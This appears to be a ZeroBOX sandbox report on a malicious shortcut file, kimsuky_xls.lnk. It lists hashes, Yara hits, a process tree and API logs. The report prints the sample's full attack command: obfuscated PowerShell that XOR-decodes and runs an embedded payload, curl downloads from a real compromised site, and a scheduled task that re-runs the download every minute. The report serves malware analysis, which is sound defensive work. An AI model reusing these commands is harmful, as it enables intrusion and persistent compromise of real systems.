popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

kimsuky_xls.lnk

Generic Malware task schedule Antivirus GIF Format Lnk Format AntiVM AntiDebug
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 April 17, 2025, 10:09 a.m. April 17, 2025, 10:11 a.m.
Size 31.3KB
Type MS Windows shortcut, Has Description string, Has command line arguments, Icon number=0, ctime=Sun Dec 31 15:32:08 1600, mtime=Sun Dec 31 15:32:08 1600, atime=Sun Dec 31 15:32:08 1600, length=0, window=hidenormalshowminimized
MD5 a9b1c04438930c0c7cff3fe8e8520317
SHA256 869705fd4dd777d4ab5c662806b42fe43bff6b58e085a64804486326b35fee47
CRC32 AA39D45D
ssdeep 384:doJ9X+vCziJp41cxdT+BAJvnkOddyQ7gCJ3t1rXG/I+1A:d8uK1MQAJbA6/lXT+1A
Yara
  • Antivirus - Contains references to security software
  • lnk_file_format - Microsoft Windows Shortcut File Format
  • Lnk_Format_Zero - LNK Format
  • Generic_Malware_Zero - Generic Malware

  • cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "LdbpXYQsMFg" C:\Users\test22\AppData\Local\Temp\kimsuky_xls.lnk

    3068

    • cmd.exe "C:\Windows\system32\cmd.exe" /c for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$trans=0;<#App-Poisoning#>$boost='length';<#App-Poisoning#>$export=Get-Location;$herself=&(gcm *et-Child*) *.lnk;<#App-Poisoning#>$herself=$herself|where-object{$_.$boost -eq 0x00007D45};<#App-Poisoning#>$theater=$herself;<#App-Poisoning#>$herself=$herself|Select-Object -ExpandProperty Name;<#App-Poisoning#>if([string]::IsNullOrEmpty($herself)){$trans=1;<#App-Poisoning#>$export=$env:USERPROFILE;<#App-Poisoning#>$export=$export+'\appdata\local\temp';<#App-Poisoning#>$herself=Get-ChildItem -Path $export -Recurse -Filter *.lnk|where-object{$_.$boost -eq 0x00007D45}|ForEach-Object{$_.FullName}|Select-Object -First 1;<#App-Poisoning#>$theater=$herself};<#App-Poisoning#>$finding=$herself.substring(0,$herself.length-4);$awesome=[System.IO.BinaryReader]::new([System.IO.File]::open($herself,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read));try{$awesome.BaseStream.Seek(0x0000183E,[System.IO.SeekOrigin]::Begin);$rescueeyboard=$awesome.ReadBytes(0x00003C12);}finally{$awesome.Close()};$rescue=0;$styles=0;$firms=$rescueeyboard.count;while ($rescue -lt $firms){$sizes=0x01;$styles=$rescue-[math]::Floor($rescue/$sizes)*$sizes;$spending=0xFE+$styles;$rescueeyboard[$rescue]=$rescueeyboard[$rescue] -bxor $spending;$rescue++};[System.IO.File]::WriteAllBytes($finding,$rescueeyboard);if($trans -eq 1){$entire=$finding}else{$entire='.\'+$finding};& $entire;remove-item -path $theater -force;"&zZHDQoKxCqATBpeFafs||cd /d c:\Users\Public\Documents & copy c:\windows\system32\curl.exe cXAzWSe.exe & copy c:\windows\system32\schtasks.exe cXAzWSe1.exe & cXAzWSe -k -o ABBLIbd.exe https://www.holosformations.fr/wp-admin/js/widgets/hurryup/?rv=bear^&za=battle0 & cXAzWSe -k -o qaVnopX.cdr https://www.holosformations.fr/wp-admin/js/widgets/hurryup/?rv=bear^&za=battle1 & cXAzWSe1 /delete /tn "qaVnopX" /f & cXAzWSe1 /create /sc minute /mo 1 /tn "qaVnopX" /tr "c:\Users\Public\Documents\ABBLIbd.exe c:\Users\Public\Documents\qaVnopX.cdr"

      2224

      • cmd.exe C:\Windows\system32\cmd.exe /c dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od

        2352

      • powershell.exe C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$trans=0;<#App-Poisoning#>$boost='length';<#App-Poisoning#>$export=Get-Location;$herself=&(gcm *et-Child*) *.lnk;<#App-Poisoning#>$herself=$herself|where-object{$_.$boost -eq 0x00007D45};<#App-Poisoning#>$theater=$herself;<#App-Poisoning#>$herself=$herself|Select-Object -ExpandProperty Name;<#App-Poisoning#>if([string]::IsNullOrEmpty($herself)){$trans=1;<#App-Poisoning#>$export=$env:USERPROFILE;<#App-Poisoning#>$export=$export+'\appdata\local\temp';<#App-Poisoning#>$herself=Get-ChildItem -Path $export -Recurse -Filter *.lnk|where-object{$_.$boost -eq 0x00007D45}|ForEach-Object{$_.FullName}|Select-Object -First 1;<#App-Poisoning#>$theater=$herself};<#App-Poisoning#>$finding=$herself.substring(0,$herself.length-4);$awesome=[System.IO.BinaryReader]::new([System.IO.File]::open($herself,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read));try{$awesome.BaseStream.Seek(0x0000183E,[System.IO.SeekOrigin]::Begin);$rescueeyboard=$awesome.ReadBytes(0x00003C12);}finally{$awesome.Close()};$rescue=0;$styles=0;$firms=$rescueeyboard.count;while ($rescue -lt $firms){$sizes=0x01;$styles=$rescue-[math]::Floor($rescue/$sizes)*$sizes;$spending=0xFE+$styles;$rescueeyboard[$rescue]=$rescueeyboard[$rescue] -bxor $spending;$rescue++};[System.IO.File]::WriteAllBytes($finding,$rescueeyboard);if($trans -eq 1){$entire=$finding}else{$entire='.\'+$finding};& $entire;remove-item -path $theater -force;"

        2420

      • cXAzWSe1.exe cXAzWSe1 /create /sc minute /mo 1 /tn "qaVnopX" /tr "c:\Users\Public\Documents\ABBLIbd.exe c:\Users\Public\Documents\qaVnopX.cdr"

        2532

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: call
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$trans=0;<#App-Poisoning#>$boost='length';<#App-Poisoning#>$export=Get-Location;$herself=&(gcm *et-Child*) *.lnk;<#App-Poisoning#>$herself=$herself|where-object{$_.$boost -eq 0x00007D45};<#App-Poisoning#>$theater=$herself;<#App-Poisoning#>$herself=$herself|Select-Object -ExpandProperty Name;<#App-Poisoning#>if([string]::IsNullOrEmpty($herself)){$trans=1;<#App-Poisoning#>$export=$env:USERPROFILE;<#App-Poisoning#>$export=$export+'\appdata\local\temp';<#App-Poisoning#>$herself=Get-ChildItem -Path $export -Recurse -Filter *.lnk|where-object{$_.$boost -eq 0x00007D45}|ForEach-Object{$_.FullName}|Select-Object -First 1;<#App-Poisoning#>$theater=$herself};<#App-Poisoning#>$finding=$herself.substring(0,$herself.length-4);$awesome=[System.IO.BinaryReader]::new([System.IO.File]::open($herself,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read));try{$awesome.BaseStream.Seek(0x0000183E,[System.IO.SeekOrigin]::Begin);$rescueeyboard=$awesome.ReadBytes(0x00003C12);}finally{$awesome.Close()};$rescue=0;$styles=0;$firms=$rescueeyboard.count;while ($rescue -lt $firms){$sizes=0x01;$styles=$rescue-[math]::Floor($rescue/$sizes)*$sizes;$spending=0xFE+$styles;$rescueeyboard[$rescue]=$rescueeyboard[$rescue] -bxor $spending;$rescue++};[System.IO.File]::WriteAllBytes($finding,$rescueeyboard);if($trans -eq 1){$entire=$finding}else{$entire='.\'+$finding};& $entire;remove-item -path $theater -force;"
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: zZHDQoKxCqATBpeFafs
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: cd
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: /d c:\Users\Public\Documents
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: copy
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: c:\windows\system32\curl.exe cXAzWSe.exe
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: copy
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: c:\windows\system32\schtasks.exe cXAzWSe1.exe
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: cXAzWSe
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: -k -o ABBLIbd.exe https://www.holosformations.fr/wp-admin/js/widgets/hurryup/?rv=bear&za=battle0
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: cXAzWSe
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: -k -o qaVnopX.cdr https://www.holosformations.fr/wp-admin/js/widgets/hurryup/?rv=bear&za=battle1
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: cXAzWSe1
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: /delete /tn "qaVnopX" /f
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: cXAzWSe1
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: /create /sc minute /mo 1 /tn "qaVnopX" /tr "c:\Users\Public\Documents\ABBLIbd.exe c:\Users\Public\Documents\qaVnopX.cdr"
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: 'zZHDQoKxCqATBpeFafs' is not recognized as an internal or external command, operable program or batch file.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

 buffer: The system cannot find the file specified.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: 1 file(s) copied.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: 'cXAzWSe' is not recognized as an internal or external command, operable program or batch file.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

 buffer: 'cXAzWSe' is not recognized as an internal or external command, operable program or batch file.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

 buffer: Method invocation failed because [System.IO.BinaryReader] doesn't contain a met
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: hod named 'new'.
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:761
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + $trans=0;<#App-Poisoning#>$boost='length';<#App-Poisoning#>$export=Get-Locati
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: on;$herself=&(gcm *et-Child*) *.lnk;<#App-Poisoning#>$herself=$herself|where-ob
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: ject{$_.$boost -eq 0x00007D45};<#App-Poisoning#>$theater=$herself;<#App-Poisoni
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: ng#>$herself=$herself|Select-Object -ExpandProperty Name;<#App-Poisoning#>if([s
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: tring]::IsNullOrEmpty($herself)){$trans=1;<#App-Poisoning#>$export=$env:USERPRO
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: FILE;<#App-Poisoning#>$export=$export+'\appdata\local\temp';<#App-Poisoning#>$h
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: erself=Get-ChildItem -Path $export -Recurse -Filter *.lnk|where-object{$_.$boos
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: t -eq 0x00007D45}|ForEach-Object{$_.FullName}|Select-Object -First 1;<#App-Pois
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: oning#>$theater=$herself};<#App-Poisoning#>$finding=$herself.substring(0,$herse
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: lf.length-4);$awesome=[System.IO.BinaryReader]::new <<<< ([System.IO.File]::ope
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: n($herself,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.F
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: ileShare]::Read));try{$awesome.BaseStream.Seek(0x0000183E,[System.IO.SeekOrigin
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: ]::Begin);$rescueeyboard=$awesome.ReadBytes(0x00003C12);}finally{$awesome.Close
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: ()};$rescue=0;$styles=0;$firms=$rescueeyboard.count;while ($rescue -lt $firms){
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: $sizes=0x01;$styles=$rescue-[math]::Floor($rescue/$sizes)*$sizes;$spending=0xFE
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: +$styles;$rescueeyboard[$rescue]=$rescueeyboard[$rescue] -bxor $spending;$rescu
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: e++};[System.IO.File]::WriteAllBytes($finding,$rescueeyboard);if($trans -eq 1){
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: $entire=$finding}else{$entire='.\'+$finding};& $entire;remove-item -path $theat
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: er -force;
console_handle: 0x0000011f
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (new:String) [], RuntimeExcept
console_handle: 0x0000012b
1 1 0

WriteConsoleW

 buffer: ion
console_handle: 0x00000137
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : MethodNotFound
console_handle: 0x00000143
1 1 0

WriteConsoleW

 buffer: You cannot call a method on a null-valued expression.
console_handle: 0x00000163
1 1 0

WriteConsoleW

 buffer: At line:1 char:1020
console_handle: 0x0000016f
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025ed30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025ea70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025ea70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025ea70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e670
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e670
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e670
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e670
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e670
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e670
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e170
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e170
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e170
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025ec70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025ec70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025ec70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e830
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025ec70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025ec70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025ec70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025ec70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025ec70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025ec70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025ec70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025eb30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025eb30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025eb30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025eb30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025eb30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025eb30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025eb30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025eb30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025eb30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025eb30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025eb30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025eb30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025eb30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025eb30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e2b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e2b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e2b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e2b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e2b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e2b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e2b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e2b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e2b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e2b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e2b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0025e2b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 2293760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028e0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ad0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2420
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73921000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ba000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2420
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73922000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ad1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ad2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ea000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026fb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026f7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026bb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026f5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029d0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026fc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2420
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
